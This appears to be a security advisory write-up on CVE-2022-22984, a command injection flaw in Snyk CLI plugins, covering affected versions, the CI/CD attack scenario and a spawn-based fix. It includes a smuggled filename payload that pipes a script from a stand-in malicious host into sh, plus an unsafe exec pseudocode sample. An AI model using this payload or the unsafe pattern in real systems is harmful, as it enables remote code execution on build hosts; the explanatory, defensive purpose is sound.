In 2022, multiple Snyk CLI plugins and core tools were found to be vulnerable to command injection attacks due to an incomplete fix for CVE-2022-40764. The flaw, now catalogued as CVE-2022-22984, affects a wide range of Snyk tools — including language-specific plugins for Java, Python, Docker, and more.

If left unpatched, attackers can exploit this bug to execute arbitrary commands on the host machine running the Snyk CLI. The attack surface is especially concerning in CI/CD environments, where user-supplied arguments or files may be handled in an automated (and less guarded) context.

snyk-gradle-plugin: before 3.24.5

- @snyk/snyk-cocoapods-plugin: before 2.5.3

snyk-docker-plugin: before 5.6.5

- @snyk/snyk-hex-plugin: before 1.1.6

References:
- NVD: CVE-2022-22984
- Snyk Security Advisory

How Does the Vulnerability Work?

The vulnerability boils down to insufficient sanitization of command-line arguments. Snyk CLI (and its plugins) execute system-level shell commands based on user-supplied input. If that input contains shell metacharacters (like ;, &&, or |), the attacker may execute arbitrary OS commands.

Key exploitation scenario:
A trusted CI pipeline or build script runs snyk test, passing filenames or arguments that may contain unexpected payloads controlled by an attacker.

CI pipeline automatically scans the repo with snyk test $FILENAME.

3. The $FILENAME contains command injection, and Snyk CLI, with the bug, does not properly sanitize it.

Suppose your TeamCity, Jenkins, or GitHub Actions pipeline executes

snyk test "$FILENAME"

Now, imagine an attacker can control $FILENAME. They introduce a file called

my-app; curl https://malicious.site/evil.sh | sh

When the pipeline runs

snyk test "my-app; curl https://malicious.site/evil.sh | sh"

snyk test my-app runs (as intended)

2. Then, arbitrary code curl https://malicious.site/evil.sh | sh runs, compromising the CI host!

Code Snippet: Unsafe Command Invocation (Pseudocode)

const exec = require('child_process').exec;
function testFile(userInput) {
  // BAD: Directly passes user input to shell
  exec(snyk test ${userInput}, (err, stdout, stderr) => {
    //...
  });
}

To fix, always use argument arrays or sanitize inputs

// SAFE: Each argument is passed separately, no shell parsing
const spawn = require('child_process').spawn;
function testFile(userInput) {
  spawn('snyk', ['test', userInput]);
}

Real-World Impact

- CI/CD Risk: Abuse is mainly impactful in shared or automated CI/CD environments, because a developer with PR access can trick the system into running attacker-supplied commands.
- Single-host Risk: If attackers control the CLI arguments on an interactive shell, they likely already have the ability to run commands.
- Affecting Multiple Languages: Since the bug exists in various Snyk plugins, any project language could be vulnerable if using outdated plugins.

Environment Hygiene:
Docker images downloaded or built before November 29th, 2022 are unsafe — update immediately. Snyk TeamCity plugin was fixed as of v20221130.093605.

Update Snyk CLI and Plugins:

- Upgrade to the latest versions listed above (see Snyk Docker Hub)

Conclusion

CVE-2022-22984 is a textbook example of how a security tool can become an attack vector, especially in automated developer pipelines. Always keep your dependency tools — not just your application code! — up to date.

For more details and recommendations, visit

- Snyk Advisory: SNYK-JS-SNYK-3037342
- Snyk Docker Images

Timeline

Published on: 11/30/2022 13:15:00 UTC
Last modified on: 08/08/2023 14:22:00 UTC